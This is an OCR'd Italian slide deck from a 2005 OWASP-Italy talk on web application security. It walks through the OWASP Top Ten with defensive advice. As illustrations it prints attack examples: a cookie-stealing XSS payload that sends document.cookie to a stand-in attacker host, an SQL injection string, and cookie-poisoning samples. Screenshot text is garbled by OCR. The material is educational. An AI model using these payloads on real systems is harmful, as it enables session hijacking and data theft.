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Agenda ISACA-Roma 31 Marzo 2005

* Applicativi web

Quali sono i rischi a cui € esposto un servizio web

» Web Application Security e OWASP

Il progetto OWASP
OWASP-ltaly: Progetti e sviluppi futuri
Le dieci vulnerabilta piu comuni: OWASP TopTen

* Meccanismi di autenticazione non adeguati

» Crash del servizio: Buffer overflow

» Furto di credenziali di autenticazioni: Cross Site Scripting
* Manipolazione dei dati aziendali: SQL Injection

» Furto di identita: Errata gestione delle sessioni

OWASP Guide per sviluppare applicazioni web “sicure”
Analisi di sicurezza per gli applicativi:

» Iltool Web Scarab

* La metodologia OWASP PenTest Checklist

Apprendimento delle piu comuni vulnerabilita: WebGoat

» (Case-study di un applicativo web vulnerabile
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Web Application Security ——J= Roma ./ Wi
INTERNET USAGE STATISTICS - The Big Picture

World Internet Users and Population Stats

WORLD INTERNET USAGE AND POPULATION STATISTICS

. . : _ Usaqge .

WorldRegions  Fobulaion - Populsien  nemetionse, grawn  Feetaton | Word
Africa 200 465 411 14.0 % 12,937,100 186.6 % 1.4 % 1.6 %
Asia JEB12 363,165 o6.3 % 266,742 420 133.4 % FA% | 326 %
Europe 730,991 138 11.4 % 230,923,361 124.0 % JEB% | 283 %
Middle East 269499 772 4.0 % 17,325,900 2278 % B.7 % 21 %
North America 328,387 055 5.1 % 218,400,350 102.0 % BES % | 267 %
Latin America/Caribbean odE 217 192 a5 % 55,279,770 2059 % 10.1 % B8 %
Oceania / Australia 03,443 448 0.5 % 15.838.216 1079 % 47 .4 % 1.9 % y
WORLD TOTAL 6.412,067,185 100.0 % 817,447 147 126 .4 % 12.7 % | 100.0 %

HOTES: (1) Internet Tzage and Popualation Statistics were updated on Febraary 3, 2005, (2 For detailed regional data, click on each World
Fegion. (3 Demographic (population) tounbers are based on data contained in the web site gazetteer de. () Internet usage information
comes from data published by Hielsend/HetRatings, by International Telecommurications Tnion, by HICs and other reliable sources. (5
Diata from this site may be cited, giving the due credit and establishing an active link back to Internet™World3tats com. (8) For nawigation

help and definttions, see the Site Surfine Chide.

Fonte: http://www.internetworldstats.com/stats.htm
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Misure tradizionali e incidenti di
sicurezza

« @i Incidenti di sicurezza coinvolgono aziende che utilizzano:
— Firewall: dal momento in cui sia consentito il protocollo HTTP in ingresso sul web
server, un attaccante puo’ inserire qualsiasi informazione nelle richieste

— IDS:
» sono facilmente bypassati a livello HTTP
* non bloccano un attacco ma lo segnalano solamente
* non possono fare nulla contro una richiesta cifrata
* non sono in grado di rilevare nuovi attacchi

— VPN: realizzano reti virtuali tra ambienti eterogenei garantendo riservatezza e
autenticazione tra i due peer.

— AV: analizzano file ed e-mail per vedere se sono stati colpiti da nuovi virus; non sono
rilevanti per quanto riguarda 'HTTP

« 75% incidenti avviene via HTTP www.incidents.org

« Encryption transport layer (SSL) + FW non risolvono il problema di
sviluppare un applicativo web “sicuro”
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Le pressioni sul ciclo di vita delle é

applicazioni

designrequirements

support design system
operationalize HI build
& integrate {“ prototype
;:"q—l-"}-rﬂ
Customer
document extend
prototype
implement interactive testing
validate

Ciclo di vita di un’applicazione
Source: www.linuxbox.com

« Time-to-Market

» Le applicazioni devono essere
sul mercato il prima possibile

« Complessita crescente
Il ciclo di vita delle applicazioni
ha complessita sempre piu
crescente

« Crescente domanda di
business

 Funzionalita vs Sicurezza

—>Minor priorita alle feature di
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Concetti di WebAppSec

Accept from ANY to IP W.S. Allow SQL
via HTTP/HTTPS

Richiesta l”

n

<
<

.I

Transport layer
HTTP/HTTPS over TCP/IP

» Canale e protocollo di comunicazione: HTTP layer 7 ISO/OSI, SSL layer 4-5
» Server: Sviluppo applicativi web “sicuri”
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Il protocollo HT TP:Request & Response (1)

A

B Mini-Browser 2.20
L]

URL: |http:.-".-"www.ing.unibo.it.-"lngegneria.-"default.htm |il
R FostData: | |l]
Referer: | | i] >

=

[ Use Internet Explarer directly [only to determing PostData, do not use this technique for Cookies)

< [ Get ] [ Post ] [Header] Aot Uset f—
Pazaword:
Log |[Browse | Sowce(865) | Links(53) | Foms(14) | Cookies(3) | Settings | Mate | about/Info

HTTP/1.0 3(
Date: Wed,
Server: Mict
X-Powered-
X-AspNet-Vi
COMMERCE
Location: /I
Set-Cookie:
GMT; path=
Set-Cookie:
path=/
Cache-Conti
Pragma: no
Expires: -1
Content-Tyg
Content-Ler
X-Cache: M.

LMA MATER STUDIORUM
| UNIVERSITA DI BOLOGNA

HE Home
Facolta
Didattica e studenti
Orientamento
Relazioni internazionali
Post Laurea
Biblioteche e musei
Facolta e impresa

Guida dello studente
Avvisi
Eventi

Servizi online
Strumenti del Portale

Il Mio Portale

accedi all'drea Riservata del
Portale:

Laogin

Scopri i tanti servizi online
che I'Ateneo ha creato:
Docenti

Studenti
Tecnici-amministrativi

FACOLTA DI

INGEGNERIA

Mappa | La mia e-mail | Supporto | Rubrica | Motore di Hecerca

Seiin: Home

Benvenuto

Un'offerta didattica ampia
e articolata, importanti
rapporti con le istituzioni
straniere; laureati che si
inseriscono agevolmente
rel mondo del lavoro:
naviga il sita per
conoscers la nostra
Facolta.

Facolta di Ingegneria
“iale del Risorgirmento 2 - 40136 Bologna

In evidenza

Scelta Materie Opzionali Nuovo ordinamento: Lauree
triennale e IEA

Moduli per la scelta delle raterie opzionali per gli studenti delle
Lauree Triennali e di Ingegneria Edile Architettura. Se non hai
potuto utilizzare il sevizio via web, utilizza | maoduli e presentali
alla segreteria studenti entro il 28/02/2005. I moduli per i quali
non sia necessaria la marca da bolla, possaono essere inviati
anche via fax: {051) 2093992

bbraio

* Mel sito

" Mella rubrica
{inserizci il cognome)
|

Ricerca avanzata

Bacheca

Eventi

26 febbraio 2005
Cacoia al tesoro

4 marzo 2005

Le professioni & il ritorno
dell'etica

dal 18 al 19 aprile 2005
Conferenza Mazionale
sulla Politica Energetica in
Italia

Tutti gli eventi

UN |£u_.an<50..z‘. o

Il punto di vista del nostro
Ateneo sugli avveniment
& sul mondo universitario
in generale.

Wai al Magazine

2005 09:59:23

09:59:23 GMT;

X-Cache: MISS from proxy.intranet.tim.it
Proxy-Connection: close
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Il protocollo HT TP:Request & Response (2)

HTTP/

GET http://www.ing.unibo. |t/Ingegnerla/Dldattlca/defauIt htm ‘
1.0 R Hini Browser 2.2

Accept
*/*

Refere
User-A
DigExt
Host: ¥
Proxy-
Cookie
Unibol

URL: | hittp: A v ing. uniba.it/lngegnernia/Didatticadef ault htra | v]

HTTP/1.02000K ™ 2
Date: Wed 23 Feb 20( Referier: | http: /7w ing.unibo.it/Ingegneris/detalt htm [v]

Se rver M Icrosoft_IIS/E [[] Use Intemet Explarer directly (only to determine PostData, do not use this technique for Cookies)
) User: [
Delete Cookies i
X-Powered-By: ASP.NE T

[ Get ] [ Post ] ’Header] Aot

. . g |[E Source [766) | Links (50) | Foms(14] | Cookies (3] | Setings | Mate | About/Info
X-AspNet-Version: 1.1, _" 22l [l i n st e

COMMERCE-SERVER-S| i szt BIN{E eIl g I
Cache-Control: no-cacl

Mappa | La mia e-ma
Pragma: no-cache
Expires: -1 E— !
#Didattica e studenti
Content-Type: text/htr| -,
Content- Length : 4424: t:ﬂ::: ';r;eezra?ihstiche

- Lauree specialistiche

X-Cache: MISS from w| . i

- Ordinamenti previgenti

X-Cache: MISS from pi| - e

- Riforma universitaria

pporto | Rubrica | Motore di ricerca
Dipartimenti | Laure:
Home

Facolta Sei ini Home = Didattica e studenti

I DIDATTICA E STUDENTI

L'offerta didattica della nostra Facolta & ampia &
arficolata: 15 lauree triennali, 10 lauree spedialistiche

e 1 Laurea specialistica europea. Mavigando nel
Calendario didattico

Proxy_COnnectlon: CIO‘ - oaRngeiaatly canale "Didattica e studenti” puoi trovare le

- Esarmi & profitto informazioni dettagliate relative ad insegnamenti e

31 marzo 2005

. Prova finale relativi docenti, orario delle lezioni & molto

altro. Troverai anche tutti i servizi che agevolano
I'accesso alle informazioni attivati per gli

studenti della nostra facolta.

Orientamento

Relazioni internazionali
Post Laurea
Biblioteche e musei

o Caln cimaresn || meeesennssssssn s s S S R T
Segreteria Studenti

E' la struttura di riferimento che accompagna gli studenti
lungo lintero arco della loro carriera universitaria per tutti
gli adempirmenti burocratici & amministrativi,

Guida dello studente
Avvisi

Exenti Continua

Servizi online
Strumenti del Portale

Ricerca rapida

& Mel canale Didattica e
studenti

" Nel sito

|

Ricerca avanzata

Azioni
& Stampa
“ Manda a un amico

InfoMatricole

Cosa devo fare m
per iscrivermi
ad Ingegneria? =

|

m m Parti da quil!

Guida dello studente

M Online la
1} Guida dello
Studente

%11

ALA, 2004-2005

E3
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Applicativi Web

m Una applicazione web € un software accessibile utilizzando un web
browser o un HTTP(s) user agent.

m Linguaggi utilizzati: HTML,XML,Java, Perl, PHP, C,C#, ASP

m Piattaforme Enterprise:
m J2EE (Sun)
m .NET (MicroSoft)

W Approcci per la messa in sicurezza degli applicativi web:
» Ingegnerizzazione del sw per la sicurezza (poco praticato)

» Utilizzo di application scanner a posteriori alla fase di progettazione (per evidenziare
le vulnerabilita’)
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Web Security

LAYERS
HTTP Client / User

Transport Layer [

HTTP(s)

Firewall

Web Server mw

!

Web Applications
CGI's

Firewall ‘

Y
Database ’, . . .

Fonte: WhiteHat Security, Inc.

DANGERS

Cross-Site Scripting
Spoofing/Trickery

Passive Monitoring
Man-in-the-Middle
Session Hi-Jack

ALLOW HTTP(s)

Buffer Overlow
Format String
Directory Traversal
Default Accounts
Sample Applications

Filter-Bypass Manipulation
Metacharacters
MNull Characters
Buffer Overflow

Internal Network

Direct SQL Commands
Restricted Database Query
Database Exploits
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Complessita degli attacchi

Auto
Coordinated

Cross site scripting Tools

“stealth” / advanced ; .

High scanning +*

L techniques @
packet spoofingdenial of service . Staged
: ‘distributed

G sniffers ; | .
o attack tools

"‘\k_

Intruder &(‘eepersé - - gwwwattacks

aétnmated probes/scans
\ Gul
back doors :

Knowledge

disabling audits : pe
»

*
*l .geitploiting known vulnerabi

» | password cracking

self-replicating code >

password guessing Intruders

1980 1985 1990 2000
Fonte: Carnegie Mellon University 2002
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OWASP

Il progetto Open Web Application Security Project (OWASP) nasce da
un gruppo composto di volontari che produce tool, standard e
documentazione open-source di qualita professionale.

La comunita OWASP incentiva I'organizzazione di conferenze, la
nascita di local chapter, |la scrittura di articoli, papers, e discussioni
riguardanti la Web Security.

La partecipazione in OWASP ¢ free ed aperta a tutti, come il materiale
disponibile sul portale www.owasp.org

Migliaia di memobri, di cui 500 nei 38 capitoli locali e altri partecipanti ai
progetti

Milioni di hit su www.owasp.org al mese

Defense Information Systems Agency (DISA) , US Federal Trade
Commisson (FTC), VISA, Mastercard, American Express hanno
adottato la documentazione OWASP nei loro standard e linee guida
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Principali progetti OWASP

Guida per la progettazione di applicativi web “sicuri”
OWASP Top Ten Vulnerability
Checklist per Web Application Vulnerability Assessment

Tool per Pentester e code reviewer:
— WebScarab

— WebGoat

— Stinger,...

Articoli, standard

OWASP

The Open Web Application Security Project
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OWASP-ltaly

Gruppo di professionisti della sicurezza informatica interessati alle
problematiche e allo sviluppo di tematiche riguardanti la Web Application
Security. Active Projects:

— Traduzione della documentazione OWASP in italiano:

« OWASP Top Ten [Donel], OWASP Checklist [Expect Apr05],OWASP Guide
[Waiting release v2]

— Scrittura di articoli su OWASP e WebAppSec:
» |CTSecurity, Hackers&C
« “Where SSL and Strong Auth. Fails”

— Gruppo di studio per ISO17799&Web e OWASP Checklist

— Gestione Mailing list sulla WebAppSec:
http://lists.sourceforge.net/lists/listinfo/owasp-italy/

— Public speech

- OWASP-ltaly Sponsor:  pyyefNESS €

drive your e-success
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Top Ten vulnerability list

« OWASP mantiene una lista delle 10 vulnerabilita piu critiche di un

applicativo web.

« Aggiornate annualmente.

« Sempre piu accettata come standard:
— Federal Trade Commission (US Gov)
— Oracle
— Foundstone Inc.
— @ Stake
— VISA, MasterCard, American Express

Tradotta in italiano:

http://www.owasp.org/local/italy.html

A1. Unvalidated Input

A2. Broken Access Control
A3. Broken Authentication and
Session Management

A4. Cross Site Scripting (XSS)
Flaws

A5. Buffer Overflow

A®6. Injection Flaws

A7. Improper Error Handling
A8. Insecure Storage

A9. Denial of Service

A10. Insecure Configuration
Management
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OWASP Top Ten in "Payment Card
Industry Data Security Standard"

From the standard Payment Card Industry (PCI) Data Security Requirements...

6.5 Develop web software and applications based on secure coding guidelines
such as the Open Web Application Security Project guidelines. Review custom
application code to identify coding vulnerabilities. See www.owasp.org - “The
Ten Most Critical Web Application Security Vulnerabilities.” Cover prevention of
common coding vulnerabilities in software development processes, to include:

6.5.1 Unvalidated input

6.5.2 Broken access control (e.g., malicious use of user IDs)

6.5.3 Broken authentication/session management (use of account credentials
and session cookies)

6.5.4 Cross-site scripting (XSS) attacks

6.5.5 Buffer overflows

6.5.6 Injection flaws (e.g., SQL injection)

6.5.7 Improper error handling

31 marzo 2005 e



A1. Unvalidated Input

« Le informazioni ricevute a seguito di una richiesta, non vengono validate dall’applicazione
web. Questa tecnica puo essere utilizzata per accedere alla parte di backend attraverso
I'applicazione web in questione.

« Prima regola: non “fidarsi” mai di qualsiasi informazioni fornita dal client nella
HTTP Request (cookie, IDSessione, parametri, header, referer)

« | parametri da controllare in fase di validazione sono:
— Il tipo di dato (string, integer, real, etc...)
— Il set di caratteri consentito
— Lalunghezza minima e massima
—  Controllare se & permesso il tipo NULL
—  Controllare se il parametro e richiesto o meno

— Intervallo numerico
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A1. Unvalidated Input (2)

E’ necessario avere una classificazione ben precisa di cio che sia
permesso 0 meno per ogni singolo parametro dell’applicativo

Cio include una protezione adeguata per tutti i tipi di dati ricevuti da una
HTTP request, inclusi le URL, i form, i cookie, le query string, gli hidden
field e i parametri.

OWASP WebScarab permette di manipolare tutte le informazioni da e
verso il web browser

OWASP Stinger HTTP request e stato sviluppato da OWASP per gli
ambienti J2EE (motore di validazione)

31 marzo 2005 Q



A1. Unvalidated Input — esempio (1)

Manipolazione dei parametri inviati: Hidden Field
Manipulation

Click below to confirm your purchase.

Your total price is: $4999.99

This amount will be charged to your credit card mmediately.

31 marzo 2005 OWASP-Italy 2005 e 19



A1. Unvalidated Input — esempio (2)

Altero il <td UEL-|"II§|2="TCJF
- =T ant ¢
valore in
< font:
4.999 P
</ Tr>
<Tr >

<td colspan="2"

Confirm purchase: <h»
48 inch HOTY (mode]l ETw-5510
o/ bx<input name="pPrice" type="HIDDEN" walues="

"r<bhrr<input }ype=“SUBMIT”

< Td>
</ Tr>
<Tr»<, Tr>
<trx
<td colspan="2"
</ td=>
< T >
< /tablex
< /form:=
< Tl
< T
<trx

<td align="center" width="185" height="100" wal
gcolor="#000066" >

&nbsp
< td=>

|- 1 - 1 B
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A1. Unvalidated Input — esempio (3)

Click below to confirm your purchase.

Confirm purchase: 46 inch HDTY (model KTYWY-5531)

| Purcha=e I
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A1. Unvalidated Input — esempio (4)

Chck below to confirm your purchase.

Your total price is( $4.999

This amount will be charged to your credit card immediately.
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A2. Broken Access Control

Controllo dell’accesso (Autorizzazione)

Non vengono applicate le restrizioni appropriate su quello
che possono fare o meno gli utenti. Un utente
malintenzionato puo accedere ad account di altri utenti,
visualizzare files sensibili o ulitizzare funzionalita non
autorizzate.

Es:

— Permessi sui file (R,W,X)

— Forced Browsing

— Insecure SessionlD o cookie

Testare sempre lo schema di controllo degli accessi al sito
e verificare le azioni che non dovrebbero essere permesse.
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A2. Broken Access Control (2)

Utenti Ruoli Risorse / Target

User

/ Redazione Bozza
Power User Controllo economico Bozza

Operatore Controllo amministrativo Bozza

Firma Bozza
Public
anager Delivery Atto

Controlle Controllo Atto Ragioneria

M. Meucci m-vo
I

Resp. Am
P. Myers Account Manager
S. Farrell Direttore

Direttore

Dirigen/

Admin

A. Di Lorenzo
M. Tedaldi
J. Williams
D. Chadwick
T. Polk

P. Pedani
D. Pinkas
R. Rivest

\

Policy documentate di controllo degli accessi
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A3. Broken Authentication e Session
Management

* Processo di autenticazione
— Meccanismo di autenticazione implementato non adeguato

 (Gestione delle sessioni web

— HTTP protocollo stateless: e necessario implementare una corretta
gestione delle sessioni
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A3. Broken Authentication

Meccanismi di autenticazione non adeguati

=

(N T~ N
Inyzklack

Enter the password to continue ;

click here to continue
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=

A3. Broken Authentication (2) —J= Roma .y i

=mecd ridme= JgucCudmeric—=r4dLre CTICENIl= =LdLuL 1« =
<style tType="text/ Scss">

<l ——
body { background-color: #FFFFFF; fTont-family: "Tahoma", "wverdana',
l2px; <olor: #000000; F
td { font-family: "Tahoma", "wverdana", "arial", "Helwetica', "sans-
——
< /sty lex
<script language="Javascript's=
<!l ——
function Try{passwd
it Cpasswd ==Chaxbryd{
alertd"alrigeel—ohn to Tewel 2 0.0 "0
location.href = "levelzZ-fozumi.html";|
else {
alert("The password 1= incorrect. Please don't tTry again. ');
) lTocation.href = "http:/ 5www. dizsney. com";
h
A==
</sCcript=
</ heads

<hody bgcolor="#FFFFFF" >
< aWi?n="center”}
<img alt="here he the tryvZhack Tlogo" src=".. 1mages//logo.jpg" widtht
Level l<brz=<hr>
Enter the password to continue
<fForm name="pass'>
<table summary="" cellpadding="0" cellspacing="0" border="0" widt

e
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A.3: Concetto di “gestione della sessione” IBE==2

nel mondo reale

—
—
—
—_—

Dipendente Banca

A. Ferrari

Verifica identita in base
alla carta di identita

Mario Rossi
= Carta di identita Mario Rossi
Num. 33 Buongiorno Mario Rossi
Firma: Ticket #33
A .Ferrari

v

Ticket #33: mi dia 1000 euro dal mio conto

Verifica identita in base
al ticket

A

Tenga 1000 euro Sig. Rossi

Meccanismo di autenticazione?

Meccanismo di gestione della sessione?

Livello di sicurezza del sistema?

31 marzo 2005
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A.3: Gestione della sessione web

--Procedura di autenticazione--

Mario Rosssi Web Server
[1] https://www.mia-banca.it
[2] Invio form di autenticazione via HTTPS
. . . Verifica credenziali: se ok
Username/password [3] inserisce username/password via HTTPS > client autenticato

v

- Generazione del cookie

[4] Welcome page personale e
Set Cookie=TWFyaW8123

A

Cookie=TWFyaWw8123

Token di
autenticazione

--Richieste seguenti--

Verifica del cookie:
- Identifica il mittente

Cookie=TWFyaw8123 Invio del contenuto al
DEST

[5] Richiesta dell’estratto CC (https://www. mia-banca.it/cont.jsp)

[6] Invio del contenuto

<
«
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A.3: Furto di identita

Mario Rossi %

che i token di sessione generati dal server ed assegnati
all'utente

Per implementare una corretta gestione delle sessioni € necessario
proteggere sia le credenziali di autenticazione di un utente

el cookie:
8122

V|

Cookie=TWFyaw8122

[6a] Invio del contenuto di Paolo Verdi

->Identifica il mittente Paolo
Verdi

Invio del contenuto di
Paolo Verdi al
destinatario Mario Rossi

I dati relativi all’'utenza di
Verdi non sono stati
adeguatamente protetti
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A.3: Errata gestione della sessione - Furto IEE=2
di identita a

Cookie poisoning

Alterando campi forniti al client tramite un cookie (stato), un attaccante puo’
impersonare un utente per accedere a servizi web.

Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;
Cookie: lang=en-us; ADMIN y=1; time=12:30GMT ;

Cookie guessable

Cookie:aefdsg6757nb90 ; > M.Rossi
Cookie:aefdsg675711b92); -> G.Verdi
Cookie:aefdsg67571b9? ) - V.Bianchi
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[1] Richiesta

Internet ll.l’;’

<
<

L
Attacker [2] Risposta Illl"’

T ‘ r3] Invio malicious code mascherato da Web server  App. server
informativa della banca

www.my-banca.it

[6] Internef
‘ Aoy WebApp vulnerabile al
Y banca.it/VulnApp.jsp?e=<script ebApp vulnerabile a
&) “malizioso” > XSS
user
[6] Invio di token di
autenticazione

all'attaccante
[5] Risposta: pagina voluta
dall’attaccante eseguita sul browser
dell’'utente
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A.4: Cross-Site-Scripting (2)

GET /welcome.cgi?name=<script>alert(document.cookie)</script>
HTTP/1.0

Host: www.my-banca.it

La risposta del sito vulnerabile sara la seguente (interpretata sul browser
dell’'utente ignaro):

<HTML>

<Title>Welcome!</Title>

Hi <script>alert(document.cookie)</script>
<BR> Welcome to our system

</HTML>

31 marzo 2005 OWASP-Italy 2005 e 33



A.4: Cross-Site-Scripting (3)

Il malicious link puo essere:

http://www.my-
banca.it/welcome.cgi?name=<script>window.open(“http://www.attacker.
site/collect.cgi?cookie="%2Bdocument.cookie)</script>

La risposta del server sara:

<HTML>

<Title>sWelcome!</Title>

Hi

<script>window.open(“http://www.attacker.site/collect.cgi?cookie="+docu
ment.cookie)</script>

<BR>Welcome to our system

</HTML>

Redirezione del contenuto del cookie dell’utente ignaro verso il server dell’attaccante
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XSS esempio (1)

Titla:
Message:
Submt
Title: Test S5
Could not find message 0 Message | cHmL= P
' <Tile=y E
sscripl=alert{documend cookisl=iscripi=

Message List =B

'r"l.lfgl_lsl:-me {3 cur sysl=m ‘H"

Submi

Could nat find message 0

Message List
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XSS esempio (2)

Could not find meassage 0

Message List

best

<® Micrasoft Internet Explorer B©=E

! ': JSESSIONID =647 1 DOERFS CODG0320 A4 ICF 705527608

e J
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A5. Buffer Overflow =R

#7 Contact Us - Metscape
File Edit View Go Cormunicator Help

&+ @ 2 4 - = =y & I

Bt Faryard Reload Home Search MNetscape Print Security e =) N

¥ Bookmarks A Gio to: ffile:/ ¢/ Cfhack / register himl | 17 wwhat's Fielated i
Please tell us about yo lRIsitlesTsls

* Company [oonooOOOODOODOD

Mame
“Name: | {uE There was no response. The server could be down

Title: | or is not responding

Address: |

ctve ] If you are unable to connect again later, contact
Zip/Postal |

code: the server's administrator
*Countryt [Select Counry

+ State: [None DK

+ Phone: I e e e e 5

Fax: |

# Email: |

Howr did [Press =l
you get

to know

us?

Send | Clear |
N [—
= == |Docurment: Done

31 marzo 2005 Q




A.6: Injection Flaw

Ad esempio invio di comandi SQL come input di una pagina web
direttamente al DB

U=sername

SQLQuery = “SELECT Username FROM Users WHERE Username =

‘GG D !!5 D 39 Gk

’
name X AND P> VlaYda Il Vlalda

La query confronta due stringhe vuote restituendo valore vero ->
AUTENTICATO!
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A.6: SQL Injection (1)

Enter your account nurmber to review your credit card numbers.

Hints:
The application is taking your input and inserting it at the end of a pre-farmed 0G0 co

Enter an Account Mumber: | or'a'="a ol
SELECT * FROM user dats WHERE userid = !'!' or'a'='as!
userid [first name |[last name [cc_ number cc_type
101 Joe BElowy HE 54321 S,
101 Joe Bl 2222000011117 [MAC
102 John Cloe 2220000222222 M
102 John Coe LAAAO0002222 [ANMEX
103 Jane Flane 123456789 %
103 Jane Flane S3330000353333 [AMEX
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A.6: SQL Injection (2)

« Mediante I'uso di tecniche sofisticate e’ possibile ricostruire
le tabelle del DataBase

« E’ possibile alterare la base di dati in modo tale da non
avere piu’ dati consistenti

[1] Richiesta

Internet

d
4

Attacker

[2] Risposta

App. server
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A7. Error Handling

Errori di debug visibili agli utenti
(ﬁhttps:ﬂ

File  Edit ‘“iew Fawoites Tools  Help File Edit Miew Faworites Tools Help

« = ’ A - : T
.InV(@Back T g - \ﬂ Lg;l | B | Sea @Back - gd \il] ﬂ ""_, p | Search ;;f Favarites @Media J__;__ f‘;

° U SE Address |@j hittps: / /I 443/ o gi-bin/trade A

it gi-bin/trade /Unitrade @

Address @j http:/ feslemiemg oy fnist_pub_search. cfmztype=keyword

<l-- Powered By appluzl5--» <l-- --> <|

Seript fbwprdiutprd/ i /serverHome | Error Executing Database Query.

[Macromedia][Sequelink JDBC Driver]TCPAIP error, connection
refused.

The error occurred in E:\Inetpubywwwroot\TS4 250
\msswmvtechnipubsydsearch.cfm: line 20

12 -

19 : <cfguery nampe="mermamaker:"

20 - datasource="pubsdatacopy" >

21 : select * from tlkpSeriesTitles

G

S0L select * from tlkpSeriesTitles Where 0=0

DATASOURCE pubsdatacopy

Please try the following:
®  Check the ColdFusion documertation to verify that you are using the correct syntax.
m  Zearch the Knovwledge Basze to find & solution to your problem.

Browser CaldFusian

Remote Address 129.6.24 65
Referrer

Date/Time 23-Mar-05 12:15 PM

Stack Trace

Personalizzare e gestire i messaggi di errore
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A8. Insecure Storage

* Necessita di conservare informazioni riservate nel database oppure
all'interno del file system.

— Trattamento errato dei dati critici (cifratura errata)
— Conservazione errata delle chiavi, dei certificati e delle password
— (Gestione impropria dei segreti in memoria
— Inaffidabilita del generatore dei dati random
— Cattiva scelta degli algoritmi di cifratura
— Tentativo di creazione di un nuovo algoritmo
— Errata implementazione del cambio di chiavi ed errate procedure di
manutenzione dell’applicativo
« Semplificare (es: one way encryption invece che
encryption)

« Usare librerie pubbliche di algoritmi crittografici

31 marzo 2005 Q



A9. Denial of Sevice

Un attaccante puo consumare le risorse di una applicazione web a tal
punto da non permettere ai legittimi utenti di accedere e usare il servizio
stesso

Data una HTTP Request, una applicazione web non € in grado di
discernere tra un attacco e il traffico ordinario (IPAddr non sufficiente).

Es di Dos: ampiezza di banda, connessioni al DB, spazio su disco,
utilizzo della CPU, della memoria, blocco account utente.
Proteggersi € complesso:

— test per controllare il numero di richieste per secondo che I'applicazione &
in grado di gestire.

— limitare al massimo il numero di risorse allocate per ogni singolo utente.

— Non permetter chiamate a funzioni onerose dal punto di vista dell’effort da
parte di utenti non autenticati
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A10. Insecure Configuration Management %

. E diffusa la pratica di non eliminare oggetti o codici sorgenti non pit
necessari per I'erogazione del servizio (ad es. vecchie versioni di
codice o sorgenti di test) dai quali € spesso possibile ottenere
informazioni critiche per il sistema.

. Vulnerabilta note non corrette all’interno dei software installati nel
server

«  Vulnerabilita all'interno dei software installati nel server oppure
configurazioni errate che permettono di eseguire attacchi del tipo
directory traversal

Presenza di contenuti non necessari quali pagine di defaut, backup di
dati, script, applicazioni, file di configurazione e vecchie pagine web
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A10. Insecure Configuration Management %

«  Esempi:
— Attivazione di servizi non necessari inclusi sistemi di amministrazione
remota e di content management
— Presenza di account di default con password di default
—  Errata gestione dei messaggi di errore da parte dell’applicazione

—  Errata configurazione dei certificati SSL e dei settaggi relativi ai metodi di
cifratura

—  Directory di default, ad es. di Ms IIS:
« lisamples, msadc, iishelp, scripts, printers
«  Come proteggersi:
—  Eliminare tutto cio che non € necessario

— Scanning e hardening preventivo del web server (Nessus, Nikto)
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Attacchi/rischi

Relativi rischi

Attacchi rivolti all'utente
Attacchi rivolti al sistema
Bypass controllo accessi
Denial of Service

Falsa Autenticazione
Manipolazione dei parametri
Falsa transazione

Immagine lesa

Possibili attacchi

- Manipolazione informazioni

del DataBase

e
e
e
e

Cross site scripting

4

Stealth Commanding

S0L Injection

Forceful site browsing

Application Doz

Buffer ove rflow

Coakie poisoning

HTKL Form field manipulation

HTTF header manipulation

x| x| ®|

LIEL manipulation

Brute Force

Fnown vulnerabilities

sl x| o x| x| x| x| x| x| x| %
e
P

Bypass authentication method
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OWASP Guide

« “Building secure web applications”
— Diretta ad architetti, sviluppatori, auditor
— Manuale per lo sviluppo ed il deploy di applicazioni web “sicure”

— Argomenti trattati:
« Capire di quanta sicurezza necessita I'applicazione
« Linee guida: un insieme di principi di sicurezza ad alto livello
 Architettura
 Tipi di autenticazione e i comuni problemi
» Data validation
» Gestione delle sessioni: cookie e IDSessione
« AC alle risorse
» Uso ottimale della crittografia
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Analisi di sicurezza di Web App

« Framework per il Web Application Vulnerability
Assessment

« Strumento software (WebScarab)
— HTTP Proxy locale

« Metodologia: documento PenTest Checklist

— si propone come metodologia standard per condurre un
assessmentdi una applicazione web. Descrive un criterio per la
realizzazione di un penetration test e I'insieme dei controlli di
sicurezza da verificare (la lista contiene attualmente una

checklist di 47 elementi).
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Web Scarab

[& WebScarab LEs
Hle Tools Help.
EShmiuy ] Prow [ Sei | Marel ot | Sossionld Anobeis |
[ Tree Selection fiters conversation list
T Wethod T Stais T Toieres SetCooks o SeiE 1
o CJ Mot 27.00.1 60/ u] 8]
9 [ hitp i ing unibi GET 302 Woved Temporarity 140 |2} a
% 3 ingeanerial O o |
[ defauithim GET 200 0K 5172 o0 o o
10| Method url T Query Cookie I Body tus.
T [GET [ipu1270.01 s0WebGoalatack | | (500 Webse
[2—[GET—Inti fwwwwing unibo,t0r T [302 Wovea - [Urib
[E7 Facolta di Ingegneria - Sito ufficiale - Universita di Bologna - Miciasoft Internet Explorer provided by Telecom Itatia Mobile LEE UniboUU=b681 f4et dadd-46c3-81 la00 6K
e B Vow Fuwdss Todk Feb *
A O < 3
Qe - © - [X] &) G Psower Jorots @reso L @
T e—— . M8 s i
1
Mappa | La mia a-mail | Supporto | Rubrica | Motore diicerca IL 0] i
Dipartimenti | Laurse triennali | Lauree Specialistiche | Specialstiche Europee. . =
anome s Home iffeter M htt ' h
: 0/ /Www.apache.org
Didattica e studenti Benvenuto I Connectfom 127.0.0:1:4194
Orientamento Un'offerta didattica ampia Gonnect o provyintanettim 20
RelaziontIntemaztonalf e articolata, Importanti it v g unio it 302 Maved Temporariy
i) rapport con e Istituzloni gonnsctfiom 127,001 4198
iblioteche s muser Badyformed Location header  ingegneriaidefaulthtm
Facolta e impresa straniere, laureati che si egneraidetautiim f s
inseriscono it v g oo ingegreriagefaul it 200 OK
e Gl sEadaite el mondo del lavoro s
Avvisi naviga il Sito per -
Eventi conoscere la nostra e
Facolta tesmraocaanssana dall
Reaione Emila Romaana
Servizi online Ty
‘umenti del Portale 25 febbraio 2005 .
B e | R : Listen on port 80
Visle del Rizorgimants 2 - 0356 Balons | Iatere (
° ” Intammst M

I 24 febbraio 2005

Accedi allarea Riservata del

Portale: Variazione orario ufficio
In evidenza

Scelta Materie Opzionali Nuovo ordinamento: Lauree

Scopri i tanti servizi online triennale e IEA H
che Ttenso ha creato! Maduliper la scelta delle materie opzionaliper gli studenti delle | EVeRti
Docent Lauree Triennali  di Ingegneria Edile Architettura. Se non hai | 4 marzo 2005
o uti b, ut e pre Le professiani e il ritarn.
i fsteativi slla segreteria studenti entro il 28/02/2005. I moduliper 1 quali | dellefica
100 sia necessaria I marca s bolls, possano essere invist e .,

anche via fax: (051) 2093992 Siaat wiorn

dal 18 a1 19 sprile 2005

Login N

